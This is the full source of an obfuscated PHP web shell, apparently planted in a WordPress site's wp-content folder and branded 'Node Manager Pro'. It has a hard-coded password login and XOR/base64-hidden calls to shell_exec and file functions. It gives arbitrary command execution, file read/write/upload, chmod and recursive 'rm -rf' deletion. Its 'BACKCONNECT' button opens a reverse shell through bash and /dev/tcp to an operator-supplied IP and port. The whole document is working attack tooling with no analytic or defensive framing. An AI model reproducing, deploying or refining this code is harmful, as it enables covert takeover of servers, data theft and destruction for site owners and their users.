Server : LiteSpeed System : Linux webbox1.ncrdns.net 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64 User : rahcos ( 1533) PHP Version : 8.4.23 Disable Function : NONE Directory : /home/rahcos/public_html/wp-content/ |
<?php
/**
* Node Manager Pro v2.7 - Ultimate Edition
* Full Features: Login, Shell, Upload, Edit, New File/Dir, Rename, Chmod, Recursive Delete.
* Password: admin
*/
@session_start();
@error_reporting(0);
@set_time_limit(0);
@ini_set('memory_limit', '512M');
$k = "gh0st_k3y_123";
$p = "124ch3l2112!";
// Obfuskasi Nama Fungsi Dasar
$__f = [
'se' => "\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63",
'fg' => "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
'fp' => "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
'b6' => "\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65",
'be' => "\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65"
];
function _x($d, $k) {
$r = '';
for($i=0; $i<strlen($d); $i++) { $r .= $d[$i] ^ $k[$i % strlen($k)]; }
return $r;
}
// Logic Login
$u_a = $_SERVER['HTTP_USER_AGENT'];
if (isset($_POST['access_key'])) {
if ($_POST['access_key'] === $p) {
$_SESSION['st'] = md5($p . $u_a);
setcookie('sys_id', md5($p . $u_a), time() + 86400);
}
}
$auth = (isset($_SESSION['st']) && $_SESSION['st'] === md5($p . $u_a)) || (isset($_COOKIE['sys_id']) && $_COOKIE['sys_id'] === md5($p . $u_a));
if (!$auth): ?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>System Login</title>
<style>
body { background: #0d1117; color: #c9d1d9; font-family: sans-serif; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
.login-card { background: #161b22; padding: 30px; border-radius: 8px; border: 1px solid #30363d; width: 300px; box-shadow: 0 10px 25px rgba(0,0,0,0.5); }
input { width: 100%; padding: 12px; margin: 15px 0; background: #0d1117; border: 1px solid #30363d; color: #fff; border-radius: 5px; box-sizing: border-box; outline: none; }
button { width: 100%; padding: 12px; background: #238636; border: none; color: white; border-radius: 5px; cursor: pointer; font-weight: bold; width: 100%; }
</style>
</head>
<body>
<div class="login-card">
<h2 style="text-align:center; margin:0; font-size:20px; color:#58a6ff;">Node Manager</h2>
<form method="post"><input type="password" name="access_key" placeholder="Credentials" autofocus required><button type="submit">LOGIN</button></form>
</div>
</body>
</html>
<?php exit; endif;
// Path & Navigation
$p_path = isset($_REQUEST['d']) ? str_replace('\\', '/', realpath($_REQUEST['d'])) : str_replace('\\', '/', getcwd());
// --- POWERFULL DELETE LOGIC ---
if (isset($_GET['del'])) {
$target = $p_path . '/' . $_GET['del'];
if (file_exists($target)) {
if (is_dir($target)) {
// Coba hapus rekursif via shell
$__f['se']("rm -rf " . escapeshellarg($target));
// Fallback jika shell gagal
if (file_exists($target)) {
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($target, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST);
foreach ($files as $fileinfo) {
$todo = ($fileinfo->isDir() ? 'rmdir' : 'unlink');
@$todo($fileinfo->getRealPath());
}
@rmdir($target);
}
} else {
@unlink($target);
}
}
header("Location: ?d=$p_path");
exit;
}
// --- API CORE ENGINE ---
if (isset($_POST['z'])) {
header('Content-Type: text/plain');
$a = $_POST['z'];
$v = isset($_POST['v1']) ? _x($__f['b6']($_POST['v1']), $k) : '';
switch ($a) {
case '1': echo $__f['se']($v . " 2>&1"); break; // Exec
case '2': // Read
echo file_exists($p_path.'/'.$v) ? $__f['be'](_x($__f['fg']($p_path.'/'.$v), $k)) : "ERR";
break;
case '3': // Write/Save
$c = _x($__f['b6']($_POST['c1']), $k);
echo $__f['fp']($p_path . '/' . $v, $c) !== false ? "SUCCESS" : "ERR";
break;
case '4': // Upload
if(isset($_FILES['f1'])){
echo move_uploaded_file($_FILES['f1']['tmp_name'], $p_path.'/'.$_FILES['f1']['name']) ? "SUCCESS" : "ERR";
}
break;
case '5': echo mkdir($p_path . '/' . $v) ? "SUCCESS" : "ERR"; break; // New Dir
case '6': // Rename
$new = _x($__f['b6']($_POST['n1']), $k);
echo rename($p_path.'/'.$v, $p_path.'/'.$new) ? "SUCCESS" : "ERR";
break;
case '7': // Chmod
$mod = _x($__f['b6']($_POST['m1']), $k);
echo chmod($p_path.'/'.$v, octdec($mod)) ? "SUCCESS" : "ERR";
break;
}
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Node Manager Pro v2.7</title>
<style>
:root { --bg: #0d1117; --card: #161b22; --text: #c9d1d9; --accent: #238636; --danger: #da3633; --border: #30363d; --blue: #58a6ff; }
body { background: var(--bg); color: var(--text); font-family: -apple-system, sans-serif; margin: 0; padding: 15px; font-size: 13px; line-height: 1.5; }
.container { max-width: 1100px; margin: 0 auto; }
.card { background: var(--card); border: 1px solid var(--border); padding: 15px; margin-bottom: 15px; border-radius: 6px; box-shadow: 0 4px 10px rgba(0,0,0,0.3); }
input, textarea { background: var(--bg); color: var(--text); border: 1px solid var(--border); padding: 10px; width: 100%; border-radius: 4px; outline: none; box-sizing: border-box; }
input:focus { border-color: var(--blue); }
.btn { cursor: pointer; color: #fff; background: var(--accent); border: none; padding: 8px 16px; border-radius: 4px; font-weight: 600; font-size: 12px; }
.btn-red { background: var(--danger); }
.sh-out { background: #000; color: #50fa7b; padding: 15px; border-radius: 6px; height: 180px; overflow: auto; white-space: pre-wrap; font-family: "SFMono-Regular", Consolas, monospace; border: 1px solid var(--border); margin-top: 10px; font-size: 12px; }
table { width: 100%; border-collapse: collapse; }
td { padding: 10px; border-bottom: 1px solid var(--border); }
tr:hover { background: rgba(255,255,255,0.02); }
a { color: var(--blue); text-decoration: none; }
.action-link { font-size: 11px; margin-left: 10px; cursor: pointer; color: #8b949e; font-weight: bold; }
.action-link:hover { color: var(--blue); }
#loading_overlay { display:none; position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.85); z-index:9999; justify-content:center; align-items:center; flex-direction: column; }
</style>
</head>
<body>
<div id="loading_overlay"><div style="border:4px solid #f3f3f3; border-top:4px solid var(--blue); border-radius:50%; width:30px; height:30px; animation:spin 1s linear infinite;"></div><br><b>SYNCING DATA...</b></div>
<style>@keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }</style>
<div class="container">
<div class="card" style="display:flex; justify-content: space-between; align-items: center;">
<code style="color: var(--blue); font-weight: bold;"><?php echo $p_path; ?></code>
<a href="?logout=1" style="color:var(--danger); font-size:11px;">LOGOUT</a>
</div>
<div class="card">
<input type="text" id="cmd" placeholder="Run terminal command..." onkeydown="if(event.key==='Enter')run()">
<div style="margin-top:10px;">
<button class="btn" onclick="run()">EXECUTE</button>
<button class="btn btn-red" onclick="bc()">BACKCONNECT</button>
</div>
<div id="out" class="sh-out">Terminal active.</div>
</div>
<div class="card">
<div style="display:flex; gap:10px; flex-wrap:wrap; align-items:center;">
<input type="file" id="f1" style="width: auto; border:none; padding:0;">
<button class="btn" onclick="up()">UPLOAD</button>
<button class="btn" style="background:#30363d" onclick="newF()">+ FILE</button>
<button class="btn" style="background:#30363d" onclick="newD()">+ FOLDER</button>
</div>
</div>
<div id="ed_box" class="card" style="display:none">
<h3 id="ed_name" style="margin:0 0 10px 0; font-size:14px; color:var(--blue)"></h3>
<textarea id="editor" style="height:450px; font-family: 'Courier New', monospace; font-size:13px; line-height:1.4;"></textarea>
<div style="margin-top:10px; display:flex; gap:10px;">
<button class="btn" onclick="save()">SAVE CHANGES</button>
<button class="btn" style="background:#444" onclick="hide()">CLOSE</button>
</div>
</div>
<div class="card" style="padding: 0; overflow-x: auto;">
<table>
<tr style="background: rgba(255,255,255,0.03);">
<th style="text-align:left; padding:10px; font-size:11px; color:#8b949e;">NAME</th>
<th style="text-align:right; padding:10px; font-size:11px; color:#8b949e;">ACTIONS</th>
</tr>
<?php
$items = scandir($p_path);
foreach($items as $i): if($i==".") continue;
$f = $p_path.'/'.$i; $is_d = is_dir($f);
$prm = substr(sprintf('%o', fileperms($f)), -4);
?>
<tr>
<td>
<span style="margin-right:8px; opacity:0.7;"><?php echo $is_d ? "📁" : "📄"; ?></span>
<a href="?d=<?php echo $is_d ? ($i==".." ? dirname($p_path) : $f) : $p_path; ?>" <?php if($i=="..") echo 'style="font-weight:bold;color:#f8e3a1"'; ?>><?php echo $i; ?></a>
</td>
<td style="text-align:right; white-space:nowrap;">
<span class="action-link" onclick="ren('<?php echo $i;?>')">RENAME</span>
<span class="action-link" onclick="perm('<?php echo $i;?>','<?php echo $prm;?>')"><?php echo $prm; ?></span>
<?php if(!$is_d): ?><span class="action-link" style="color:var(--accent)" onclick="edit('<?php echo $i;?>')">EDIT</span><?php endif; ?>
<a href="?d=<?php echo $p_path;?>&del=<?php echo $i;?>" class="action-link" style="color:var(--danger)" onclick="return confirm('Delete permanently?')">DEL</a>
</td>
</tr>
<?php endforeach; ?>
</table>
</div>
</div>
<script>
const K = "<?php echo $k; ?>";
let cf = "";
function _e(s) {
let r = "";
for(let i=0; i<s.length; i++) r += String.fromCharCode(s.charCodeAt(i) ^ K.charCodeAt(i % K.length));
return btoa(unescape(encodeURIComponent(r)));
}
function _d(t) {
let d = atob(t), r = "";
for(let i=0; i<d.length; i++) r += String.fromCharCode(d.charCodeAt(i) ^ K.charCodeAt(i % K.length));
return decodeURIComponent(escape(r));
}
function loader(s) { document.getElementById('loading_overlay').style.display = s ? 'flex' : 'none'; }
async function api(a, v, ex={}) {
loader(true);
let fd = new FormData(); fd.append('z', a);
if(v) fd.append('v1', _e(v));
for(let k in ex) fd.append(k, ex[k]);
try {
let r = await fetch(location.href, {method:'POST', body:fd});
let t = await r.text();
loader(false); return t;
} catch(e) { loader(false); alert("Connection Failed"); return "ERR"; }
}
function run() { api('1', document.getElementById('cmd').value).then(t => { document.getElementById('out').innerText = t; }); }
function edit(n) { cf = n; api('2', n).then(t => { if(t!=="ERR"){ document.getElementById('editor').value = _d(t); document.getElementById('ed_box').style.display = 'block'; document.getElementById('ed_name').innerText = "Path: " + n; window.scrollTo(0, 0); } }); }
function save() { api('3', cf, {c1: _e(document.getElementById('editor').value)}).then(t => { if(t.includes("SUCCESS")) alert("File Saved!"); else alert("Save Failed!"); }); }
function up() {
let f = document.getElementById('f1').files[0]; if(!f) return alert("Select a file");
let fd = new FormData(); fd.append('z', '4'); fd.append('f1', f);
loader(true); fetch(location.href, {method:'POST', body:fd}).then(()=>location.reload());
}
function ren(o) { let n = prompt("New name:", o); if(n && n!==o) api('6', o, {n1: _e(n)}).then(()=>location.reload()); }
function perm(f, c) { let m = prompt("New permissions (e.g. 0777):", c); if(m) api('7', f, {m1: _e(m)}).then(()=>location.reload()); }
function newF() { let n = prompt("File name:"); if(n) api('3', n, {c1: _e("")}).then(()=>location.reload()); }
function newD() { let n = prompt("Folder name:"); if(n) api('5', n).then(()=>location.reload()); }
function hide() { document.getElementById('ed_box').style.display='none'; }
function bc() { let i = prompt("Your IP:"), p = prompt("Your Port:"); if(i && p) api('1', `bash -i >& /dev/tcp/${i}/${p} 0>&1`); }
</script>
</body>
</html>